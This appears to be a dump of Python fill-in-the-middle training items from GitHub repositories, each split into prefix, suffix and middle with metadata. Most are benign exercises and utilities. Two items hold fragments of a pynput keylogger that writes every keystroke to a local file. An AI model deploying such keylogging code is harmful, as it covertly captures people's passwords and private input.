text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_suffix|> if __name__ == '__main__': tita = Pessoa('Tita', 10) max = Pessoa('Max', 20) fred = Pessoa('Fred', 0) aveia = Pessoa('Aveia', 11) print(aveia.compara(tita)) max.match(aveia)<|fim_prefix|># repo: BAFurtado/Python4ABMIpea2020 path: /classes/class_template.py """ Class template ...
code_fim
hard
{ "lang": "python", "repo": "BAFurtado/Python4ABMIpea2020", "path": "/classes/class_template.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: BAFurtado/Python4ABMIpea2020 path: /classes/class_template.py """ Class template Ipea's Python for agent-based modeling course """ import random # class name typically Capital letter class Pessoa: # Usually has an __init__ method called at the moment of instance creation def __...
code_fim
hard
{ "lang": "python", "repo": "BAFurtado/Python4ABMIpea2020", "path": "/classes/class_template.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: raymondgggg/Python-Programs path: /Homework09.py #Homework 09 #Raymond Guevara #018504731 #Algorithm Workbench #Question 1 print("Question 1") height = int(input("Please enter your height: ")) print() #Question 2 print("Question 2") color = input("please enter your favorite color: ") print() ...
code_fim
hard
{ "lang": "python", "repo": "raymondgggg/Python-Programs", "path": "/Homework09.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>#Question 7 print("Question 7") subtotal = 100 #Arbitrary number total = subtotal * .15 print(total) print() #Question 8 print("Question 8") a = 5 b = 2 c = 3 result = a + b * c print(result) print() #Question 9 print("Question 9") num = 99 num = 5 print(num)<|fim_prefix|># repo: raymondgggg/Python-Pro...
code_fim
hard
{ "lang": "python", "repo": "raymondgggg/Python-Programs", "path": "/Homework09.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>#Question 8 print("Question 8") a = 5 b = 2 c = 3 result = a + b * c print(result) print() #Question 9 print("Question 9") num = 99 num = 5 print(num)<|fim_prefix|># repo: raymondgggg/Python-Programs path: /Homework09.py #Homework 09 #Raymond Guevara #018504731 #Algorithm Workbench #Question 1 print("...
code_fim
hard
{ "lang": "python", "repo": "raymondgggg/Python-Programs", "path": "/Homework09.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: dr-dos-ok/Code_Jam_Webscraper path: /solutions_python/Problem_117/1323.py import sys def main(stream=sys.stdin): """ Input, output, and parsing, etc. Yeah. """ num_cases = int(stream.readline().strip()) for i in xrange(num_cases): rows, cols = map(int, stream.readline...
code_fim
hard
{ "lang": "python", "repo": "dr-dos-ok/Code_Jam_Webscraper", "path": "/solutions_python/Problem_117/1323.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """ >>> is_board_valid([[1,2,1]], 1, 3) True """ return all(all(is_cell_valid(board, r, c) for c in xrange(cols)) for r in xrange(rows)) def is_cell_valid(board, r, c): """ >>> is_cell_valid([ [2, 2, 2, 2, 2], [2, 1, 1, 1, 2], [2, 1, 2, 1, 2], [2, 1, 1, 1, 2], [2, 2, 2, 2, 2] ...
code_fim
medium
{ "lang": "python", "repo": "dr-dos-ok/Code_Jam_Webscraper", "path": "/solutions_python/Problem_117/1323.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # Create the sweep parameters for a sweep params = {} params['writer'] = {} params['reader'] = {} params['writer']['nprocs'] = p.ParamRunner ('writer', 'nprocs', []) params['writer']['appid'] = p.ParamCmdLineOption ('writer', 'appid', '-a', [1]) params['writ...
code_fim
hard
{ "lang": "python", "repo": "pnorbert/ADIOS2-Testing", "path": "/performance/cheetah/cheetah-campaign.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: pnorbert/ADIOS2-Testing path: /performance/cheetah/cheetah-campaign.py from codar.cheetah import Campaign from codar.cheetah import parameters as p from codar.savanna.machines import SummitNode import copy def get_shared_node_layout (n_writers, n_readers): nc = SummitNode() for i in rang...
code_fim
hard
{ "lang": "python", "repo": "pnorbert/ADIOS2-Testing", "path": "/performance/cheetah/cheetah-campaign.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: leahkim/CS194Project path: /ai/agents/actions.py __author__='rhyschris' """ Defines the set of actions. This functions exactly the same as Actions.cs in the Unity game. """ from enum import Enum <|fim_suffix|>if __name__ == '__main__': print "Contents of actions:" for act...
code_fim
hard
{ "lang": "python", "repo": "leahkim/CS194Project", "path": "/ai/agents/actions.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == '__main__': print "Contents of actions:" for act in Actions: print repr(act)<|fim_prefix|># repo: leahkim/CS194Project path: /ai/agents/actions.py __author__='rhyschris' """ Defines the set of actions. This functions exactly the same as Actions.cs in the Unit...
code_fim
hard
{ "lang": "python", "repo": "leahkim/CS194Project", "path": "/ai/agents/actions.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> dependencies = [ ('products', '0007_auto_20150904_1320'), ] operations = [ migrations.AddField( model_name='customer', name='in_close', field=models.BooleanField(default=False), ), migrations.AddField( model_name=...
code_fim
medium
{ "lang": "python", "repo": "rokealva83/lils2", "path": "/products/migrations/0008_auto_20151126_2325.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: rokealva83/lils2 path: /products/migrations/0008_auto_20151126_2325.py # -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import datetime <|fim_suffix|> operations = [ migrations.AddField( model_name='customer', ...
code_fim
medium
{ "lang": "python", "repo": "rokealva83/lils2", "path": "/products/migrations/0008_auto_20151126_2325.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def send_show_command(device, commands): OutputPath = 'c:/script/output/' + str(device['host']) + '.txt' result = open(OutputPath, 'w') flag = True try: with ConnectHandler(**device) as ssh: ssh.enable() for command in commands: output = ssh....
code_fim
hard
{ "lang": "python", "repo": "Trofish/Script_Collection", "path": "/2023/Multiple_show.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Trofish/Script_Collection path: /2023/Multiple_show.py __author__ = "Yong Peng" __version__ = "1.0" import time import re import getpass from netmiko import ( ConnectHandler, NetmikoTimeoutException, NetmikoAuthenticationException, ) with open('./device_list.txt','r') as f: de...
code_fim
medium
{ "lang": "python", "repo": "Trofish/Script_Collection", "path": "/2023/Multiple_show.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>if __name__ == '__main__': main()<|fim_prefix|># repo: timleslie/gattini path: /tools/complete.py """ Unpacks and preprocesses all of the data from the tarball of partial data, which includes the flats and dark frames. """ import tools.unpack import util.files import util.dark import util.flat def ...
code_fim
medium
{ "lang": "python", "repo": "timleslie/gattini", "path": "/tools/complete.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: timleslie/gattini path: /tools/complete.py """ Unpacks and preprocesses all of the data from the tarball of partial data, which includes the flats and dark frames. """ <|fim_suffix|> tools.unpack.main() util.files.main() util.dark.main() util.flat.main() if __name__ == '__main__...
code_fim
medium
{ "lang": "python", "repo": "timleslie/gattini", "path": "/tools/complete.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> with open(i,) as f: obj = json.load(f) f.close() outfile = open(i, "w") outfile.write(json.dumps(obj, indent=4, sort_keys=True)) outfile.close()<|fim_prefix|># repo: amanapte/squash-generation path: /squash/beautify_json.py import simplejson as json json_list = [ "/c...
code_fim
medium
{ "lang": "python", "repo": "amanapte/squash-generation", "path": "/squash/beautify_json.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: amanapte/squash-generation path: /squash/beautify_json.py import simplejson as json json_list = [ "/content/squash-generation/squash/final/Custom.json", "/content/squash-generation/squash/temp/Custom/final_qa_set.json", "/content/squash-generation/squash/temp/Cus...
code_fim
medium
{ "lang": "python", "repo": "amanapte/squash-generation", "path": "/squash/beautify_json.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Hehouhua/waf_branches path: /chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py #! /usr/bin/env python # -*- conding:utf-8 -*- import MySQLdb import os import commands from common import logger_init from logging import getLogger import re from db import VlanInfo,Session,WafBridge def getVlan(): # get vlan...
code_fim
hard
{ "lang": "python", "repo": "Hehouhua/waf_branches", "path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def VlanConfig(): #config vlan(add and delete) logger_init('main','log/vlanconfig.log','INFO') config_interface=getVlan() configured_port=getSysInterface() vlan_port=' '.join(configured_port[0]) configured_nic=' '.join(configured_port[1]) for i in range(len(config_interface)): ...
code_fim
hard
{ "lang": "python", "repo": "Hehouhua/waf_branches", "path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> info=os.popen('ifconfig').read() f=open('ifconfig_info.txt','w') print >>f,info f.close() match=re.compile(r'(.+?)\s*?Link') f=open('ifconfig_info.txt','r') interface=[] for line in f: if 'Link encap' in line: info=match.match(line).groups() in...
code_fim
hard
{ "lang": "python", "repo": "Hehouhua/waf_branches", "path": "/chuhuo_2.71/bluedon/bdwafd/bdsetvlan.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: hofbi/tdd-sample path: /python/fizzbuzz.py import unittest def is_multiple(value, base): return 0 == (value % base) def fizz_buzz(value): if is_multiple(value, 5) and is_multiple(value, 3): return "FizzBuzz" if is_multiple(value, 3): return "Fizz" if is_multipl...
code_fim
hard
{ "lang": "python", "repo": "hofbi/tdd-sample", "path": "/python/fizzbuzz.py", "mode": "psm", "license": "Beerware", "source": "the-stack-v2" }
<|fim_suffix|> self.check_fizz_buzz(6, "Fizz") def test_fizz_buzz__fizz_buzz_10_Buzz(self): self.check_fizz_buzz(10, "Buzz") def test_fizz_buzz__fizz_buzz_15_FizzBuzz(self): self.check_fizz_buzz(15, "FizzBuzz") if __name__ == "__main__": print("Running all unit tests...") unit...
code_fim
hard
{ "lang": "python", "repo": "hofbi/tdd-sample", "path": "/python/fizzbuzz.py", "mode": "spm", "license": "Beerware", "source": "the-stack-v2" }
<|fim_prefix|># repo: joserc87/parrotart path: /tests/test_partyparrot.py from partyparrot import convert_with_alphabet_emojis, convert def test_convert_char_to_alphabet(): assert convert_with_alphabet_emojis("") == "" assert convert_with_alphabet_emojis(" ") == " " assert convert_with_alphabet_emojis(...
code_fim
medium
{ "lang": "python", "repo": "joserc87/parrotart", "path": "/tests/test_partyparrot.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def test_convert_wrong_char(): txt = convert("@!*", ":icon:", ":nbsp") assert ( txt == ":icon::icon::icon::nbsp:nbsp:icon::icon::icon::nbsp:nbsp:icon::icon::icon:\n:nbsp:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon:\n:nbsp:icon::nbsp:nbsp:nbsp:nbsp:icon::nbsp:nbsp...
code_fim
hard
{ "lang": "python", "repo": "joserc87/parrotart", "path": "/tests/test_partyparrot.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> except Exception as e: print('The execution of the mortality analysis algorithm was not completed due to an error') logging.exception('Exception occurred') logging.info('The execution of the mortality analysis algorithm was not completed due to an error')<|fim_prefix|># repo: o...
code_fim
hard
{ "lang": "python", "repo": "oganesyankarina/death_analize", "path": "/mortality.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: oganesyankarina/death_analize path: /mortality.py import logging from datetime import datetime from preprocessing import death_preprocessing from preprocessing_three_month import death_preprocessing_three_month from death_rule_first_55 import death_rule_first_55 from death_rule_second import dea...
code_fim
hard
{ "lang": "python", "repo": "oganesyankarina/death_analize", "path": "/mortality.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> @return: str ''' self._state = state self.update() def get_creation_date(self): ''' Returns the session creation date. @return: ''' return time.ctime(self._create_date) def get_context(self): ...
code_fim
hard
{ "lang": "python", "repo": "hamed1361554/sportmagazine-server", "path": "/src/deltapy/security/session/session.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: hamed1361554/sportmagazine-server path: /src/deltapy/security/session/session.py ''' Created on May 18, 2010 @author: Abi.Mohammadi & Majid.Vesal ''' from threading import current_thread import copy import time from deltapy.core import DeltaException, Context import deltapy.security.services...
code_fim
hard
{ "lang": "python", "repo": "hamed1361554/sportmagazine-server", "path": "/src/deltapy/security/session/session.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: AndyyTaylor/Yr12Major path: /src/screens/maze/mazeenv.py import pygame import numpy as np import random from enum import Enum from .config import * class Actions(Enum): FORWARD = 0 RIGHT = 1 LEFT = 2 BACK = 3 class MazeEnv(): ''' TODO ''' def __init__(self, GW, GH, SW, S...
code_fim
hard
{ "lang": "python", "repo": "AndyyTaylor/Yr12Major", "path": "/src/screens/maze/mazeenv.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> self.pos = np.array(self.getPos(self.SPAWN_STATE)) def render(self, screen, close=False): self.screen = screen self.screen.fill((0, 0, 0)) # Draw the grid # font = pygame.font.Font(None, 22) for x in range(GRID_WIDTH): for y in range(GRID_H...
code_fim
hard
{ "lang": "python", "repo": "AndyyTaylor/Yr12Major", "path": "/src/screens/maze/mazeenv.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010 path: /queryOECD.py #!/usr/bin/env python ''' @author : Mitchell Van Braeckel @id : 1002297 @date : 10/10/2020 @version : python 3.8-32 / python 3.8.5 @course : CIS*4010 Cloud Computing @brief : A1 Part 2 - AWS DynamoDB ; Q2 - Query OECD @note : ...
code_fim
hard
{ "lang": "python", "repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010", "path": "/queryOECD.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>############################################ FUNCTIONS ############################################ # Converts the label of a dict into its code key, returns None if not a label def convert_dict_label_to_code_key(label, encodings_dict): # Get the key of the label if the label exists in the dict as a ...
code_fim
hard
{ "lang": "python", "repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010", "path": "/queryOECD.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # Bring in globals to modify global total_can_usa global total_can_usa_mex global total_neither # Init local accumulators temp_can_usa = 0 temp_can_usa_mex = 0 temp_neither = 0 # Print table headers: common variable (for commodity code) across all 4 tables, and table ...
code_fim
hard
{ "lang": "python", "repo": "mvanbraeckel/ShellS3AWS-LoadDynamoTable_4010", "path": "/queryOECD.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>for fid in tqdm(range(fc2+RIGHT_SYNC_1-LEFT_SYNC_1, RIGHT_SYNC_2-LEFT_SYNC_2)): _, right_frame = reader1.read() new_frame = np.concatenate([filler, border, right_frame], axis=1) # cv2.imshow('out', new_frame) writer.write(new_frame) # if cv2.waitKey(1) & 0xFF == ord('q'): # bre...
code_fim
hard
{ "lang": "python", "repo": "nghiatt90/random-scripts", "path": "/python/vision/videosync.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>reader1 = cv2.VideoCapture(INPUT_1) reader2 = cv2.VideoCapture(INPUT_2) reader3 = cv2.VideoCapture(INPUT_3) last_shape = (h1, w1+w2+10, 3) for fid in tqdm(range(fc2+RIGHT_SYNC_1-LEFT_SYNC_1)): _, right_frame = reader1.read() if fid < RIGHT_SYNC_1-LEFT_SYNC_1: left_frame = filler else:...
code_fim
hard
{ "lang": "python", "repo": "nghiatt90/random-scripts", "path": "/python/vision/videosync.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: nghiatt90/random-scripts path: /python/vision/videosync.py import cv2 import numpy as np import os from tqdm import tqdm DIR = '/home/nghiatruong/Desktop' INPUT_1 = os.path.join(DIR, 'GOPR1806.MP4') INPUT_2 = os.path.join(DIR, '20190715_180940.mp4') INPUT_3 = os.path.join(DIR, '20190715_181200....
code_fim
hard
{ "lang": "python", "repo": "nghiatt90/random-scripts", "path": "/python/vision/videosync.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """ m->Size of nums1 list n->Size of nums2 list """ mergedArray = [] i = 0 j = 0 while(i < m and j < n): if(nums1[i] <= nums2[j]): mergedArray.append(nums1[i]) i += 1 else: ...
code_fim
hard
{ "lang": "python", "repo": "Rafasu/CProgramming", "path": "/BasicAlgorithms/mergeTwoSortedArrays.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Rafasu/CProgramming path: /BasicAlgorithms/mergeTwoSortedArrays.py # Classic solution for merging two sorted arrays/list to a new one. # (Based on Merge Sort) class Solution: <|fim_suffix|> """ m->Size of nums1 list n->Size of nums2 list """ mergedArray = []...
code_fim
hard
{ "lang": "python", "repo": "Rafasu/CProgramming", "path": "/BasicAlgorithms/mergeTwoSortedArrays.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: pypi123/machine_learning_ZZH path: /Unit5/Unit5_5.py '''引入数据,并对数据进行预处理''' # step 1 引入数据 import pandas as pd with open('D:\\Desktop\西瓜数据集3.0.csv', 'r', encoding='utf-8') as data_obj: df = pd.read_csv(data_obj) # Step 2 对数据进行预处理 # 对离散属性进行独热编码,定性转为定量,使每一个特征的取值作为一个新的特征 # 增加特征量 Catagorical Var...
code_fim
hard
{ "lang": "python", "repo": "pypi123/machine_learning_ZZH", "path": "/Unit5/Unit5_5.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>n_h = 5 net = buildNetwork(19, n_h, 2, outclass=SoftmaxLayer) # Step 2 : 构建前馈网络标准BP算法 from pybrain.supervised import BackpropTrainer trainer_sd = BackpropTrainer(net, traindata) # # 或者使用累积BP算法,训练次数50次 # trainer_ac = BackpropTrainer(net, traindata, batchlearning=True) # trainer_ac.trainEpochs(50) # err_t...
code_fim
hard
{ "lang": "python", "repo": "pypi123/machine_learning_ZZH", "path": "/Unit5/Unit5_5.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> file = open("strokes.txt","a") for k in list: file.writelines("{}\n".format(str(k))) file.close() # erases contents of the file when the program is runned open("strokes.txt","w").close() with keyboard.Listener(on_press = on_press,on_release=on_release) as listener: listener.joi...
code_fim
medium
{ "lang": "python", "repo": "markovicv/Keyloger", "path": "/keyloger.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: markovicv/Keyloger path: /keyloger.py from pynput import keyboard # list of chars entered by the user list = [] number_of_chars = 0 # if entered chars go above MAX LENGTH they will be written inside a file MAX_LENGTH = 300 def on_press(key): global number_of_chars global list l...
code_fim
hard
{ "lang": "python", "repo": "markovicv/Keyloger", "path": "/keyloger.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Drawell/DialogGraphRedactor path: /act_nodes/__init__.py from .start_node import StartNode from .character_appearance import CharacterAppearanc<|fim_suffix|>rt SetLandscape from .add_item import AddItem from .switch_by_item import SwitchByItem<|fim_middle|>e from .character_disappearance import C...
code_fim
medium
{ "lang": "python", "repo": "Drawell/DialogGraphRedactor", "path": "/act_nodes/__init__.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>rt SetLandscape from .add_item import AddItem from .switch_by_item import SwitchByItem<|fim_prefix|># repo: Drawell/DialogGraphRedactor path: /act_nodes/__init__.py from .start_node import StartNode from .character_appearance import CharacterAppearance from .character_disappearance import CharacterDisapp...
code_fim
medium
{ "lang": "python", "repo": "Drawell/DialogGraphRedactor", "path": "/act_nodes/__init__.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># Database # https://docs.djangoproject.com/en/1.7/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.join(BASE_DIR, 'data'), 'db.sqlite3'), }, } # Internationalization # https://docs.djangoproject.com/en/1.7/topics...
code_fim
hard
{ "lang": "python", "repo": "shblhy/myhotel", "path": "/settings.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: shblhy/myhotel path: /settings.py #-*- coding:utf-8 -*- """ Django settings for hehotel project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ ...
code_fim
hard
{ "lang": "python", "repo": "shblhy/myhotel", "path": "/settings.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> Input ----- pov: (batch_size, 3, 64, 64) tensor of player view input_size: (batch_size, 2) Returns ------- action: (batch_size, 9) tensor with indicies: 0: attack probability 1-5: CAMERA_OPTIONS[0-4] 6: forward probabi...
code_fim
hard
{ "lang": "python", "repo": "jarbus/minerl", "path": "/model.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> """ def forward(self, pov, feats): pov = self.image_embed(pov) full_embed = self.l1(torch.cat((pov, feats), dim=1)) full_embed = self.r1(full_embed) out = self.out(full_embed) return out<|fim_prefix|># repo: jarbus/minerl path: /model.py import numpy...
code_fim
hard
{ "lang": "python", "repo": "jarbus/minerl", "path": "/model.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: jarbus/minerl path: /model.py import numpy as np import torch import torch.nn as nn from utils import * from collections import OrderedDict from torchsummary import summary class Model(nn.Module): """Example usage: model = Model() outputs = model(pov_tensor, feat_tensor) """ ...
code_fim
hard
{ "lang": "python", "repo": "jarbus/minerl", "path": "/model.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: adychn/Logistic-Regression path: /hr_employee_retension/logistic-regression-sklearn.py #!/usr/bin/env python # coding: utf-8 # HR Employee Retension Rate, predicting an employee likely to leave or not. # In[ ]: import numpy as np # 数组常用库 import pandas as pd # 读入csv常用库 from patsy import dmatrices ...
code_fim
hard
{ "lang": "python", "repo": "adychn/Logistic-Regression", "path": "/hr_employee_retension/logistic-regression-sklearn.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># In[ ]: # 观察实际离职/未离职被预测成为离职/未离职的数目 print(metrics.accuracy_score(ytest, pred)) print(metrics.confusion_matrix(ytest, pred)) # prediction # # #actual # # # # classification_report会输出每一类对应的precision, recall print(metrics.classification_report(ytest, pred)) # In[ ]: # 10份的交叉验证Cross Validation print(c...
code_fim
hard
{ "lang": "python", "repo": "adychn/Logistic-Regression", "path": "/hr_employee_retension/logistic-regression-sklearn.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: loguedes/flask-api-training path: /app.py from flask import Flask, request, jsonify from flask_sqlalchemy import SQLAlchemy from flask_marshmallow import Marshmallow import os # Init app app = Flask(__name__) basedir = os.path.abspath(os.path.dirname(__file__)) # Database app.config['SQLALCHEM_D...
code_fim
medium
{ "lang": "python", "repo": "loguedes/flask-api-training", "path": "/app.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # Init schema product_schema = ProductSchema(strict=True) product_schema = ProductSchema(many=True, strict=True) # Run Server if __name__ == '__main__': app.run(debug=True)<|fim_prefix|># repo: loguedes/flask-api-training path: /app.py from flask import Flask, request, jsonify from flask_sqlalche...
code_fim
medium
{ "lang": "python", "repo": "loguedes/flask-api-training", "path": "/app.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def main(): #print rebound(10) print get_all_meter(11) if __name__ == '__main__': main()<|fim_prefix|># repo: chenwei90/IDG path: /TestPython/examples/example20_小球弹起.py # -*- coding: utf-8 -*- ''' 一球从100米高度自由落下 每次落地后反跳回原高度的一半;再落下,求它在第10次落地时,共经过多少米?第10次反弹多高? 求两个东西, 1是经过了多少米, 2是反弹...
code_fim
hard
{ "lang": "python", "repo": "chenwei90/IDG", "path": "/TestPython/examples/example20_小球弹起.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: chenwei90/IDG path: /TestPython/examples/example20_小球弹起.py # -*- coding: utf-8 -*- ''' 一球从100米高度自由落下 每次落地后反跳回原高度的一半;再落下,求它在第10次落地时,共经过多少米?第10次反弹多高? 求两个东西, 1是经过了多少米, 2是反弹多高 1: 100 100+50+50 100+50+50+25+25 2: 100 100/2=50 50/2=25 25/2=2 ''' import math <|fim_suffix|> ...
code_fim
medium
{ "lang": "python", "repo": "chenwei90/IDG", "path": "/TestPython/examples/example20_小球弹起.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def rebound(time): m = start_height*(rebound_rate ** (time)) return m ''' 1.第一次落地, 经过了100米 2.第二次落地, 经过了100+50+50米 3.第三次落地, 经过了100+50+50+25+25米 ''' def get_all_meter(time): for k in range(1, time): meter = start_height + rebound(time-1)*2 meter_list.append(meter) d...
code_fim
medium
{ "lang": "python", "repo": "chenwei90/IDG", "path": "/TestPython/examples/example20_小球弹起.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: NirajSingh90/pgreport path: /src/postgre_info.py #finding postgresql info import re import subprocess def get_postgre_version(): <|fim_suffix|> version=get_postgre_version() print version<|fim_middle|> p = subprocess.Popen("psql --version",stdout=subprocess.PIPE,shell=True) k = re.findall(...
code_fim
medium
{ "lang": "python", "repo": "NirajSingh90/pgreport", "path": "/src/postgre_info.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>version=get_postgre_version() print version<|fim_prefix|># repo: NirajSingh90/pgreport path: /src/postgre_info.py #finding postgresql info import re import subprocess def get_postgre_version(): <|fim_middle|> p = subprocess.Popen("psql --version",stdout=subprocess.PIPE,shell=True) k = re.findall(r...
code_fim
hard
{ "lang": "python", "repo": "NirajSingh90/pgreport", "path": "/src/postgre_info.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: KFranciszek/pylove-training path: /1.7/testowy.py import requests save_result = requests.post( 'ht<|fim_suffix|>('http://localhost:5000/read') print(read_result.text)<|fim_middle|>tp://localhost:5000/save', json={'value': 'witam'} ) print(save_result.text) read_result = requests.get
code_fim
medium
{ "lang": "python", "repo": "KFranciszek/pylove-training", "path": "/1.7/testowy.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> ) print(save_result.text) read_result = requests.get('http://localhost:5000/read') print(read_result.text)<|fim_prefix|># repo: KFranciszek/pylove-training path: /1.7/testowy.py import requests save_result = requests.post( 'ht<|fim_middle|>tp://localhost:5000/save', json={'value': 'witam'}
code_fim
easy
{ "lang": "python", "repo": "KFranciszek/pylove-training", "path": "/1.7/testowy.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># 開発サーバーでMEDIA_ROOT,MEDIA_URLを渡したdjango.contrib.staticfiles.urls.static関数から # 返されたルーティングを追加する urlpatterns +=static(settings_common.MEDIA_URL, document_root=settings_dev.MEDIA_ROOT)<|fim_prefix|># repo: ALiberInc/Python_Django_LoginTest path: /login_test_prj/urls.py from django.contrib import admin from d...
code_fim
hard
{ "lang": "python", "repo": "ALiberInc/Python_Django_LoginTest", "path": "/login_test_prj/urls.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: ALiberInc/Python_Django_LoginTest path: /login_test_prj/urls.py from django.contrib import admin from django.contrib.staticfiles.urls import static # 本Ch11.1 from django.urls import path, include from . import settings_common, settings_dev # 本Ch11.1 import debug_toolbar <|fim_suffix|>] # 開発サ...
code_fim
hard
{ "lang": "python", "repo": "ALiberInc/Python_Django_LoginTest", "path": "/login_test_prj/urls.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: aspose-email/Aspose.Email-Python-Dotnet path: /Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py from aspose.email.storage.pst import * from aspose.email.mapi import MapiCalendar from aspose.email.mapi import MapiRecipientType from aspose.email.mapi impor...
code_fim
hard
{ "lang": "python", "repo": "aspose-email/Aspose.Email-Python-Dotnet", "path": "/Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> folderInfo = personalStorage.get_parent_folder(messageInfo.entry_id) print(folderInfo.display_name) #ExEnd: RetrievingParentFolderInformationFromMessageInfo if __name__ == '__main__': run()<|fim_prefix|># repo: aspose-email/Aspose.Email-Python-Dotnet path: /Examples/WorkingWithOutlookStorag...
code_fim
hard
{ "lang": "python", "repo": "aspose-email/Aspose.Email-Python-Dotnet", "path": "/Examples/WorkingWithOutlookStorageFiles/RetrievingParentFolderInformationFromMessageInfo.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
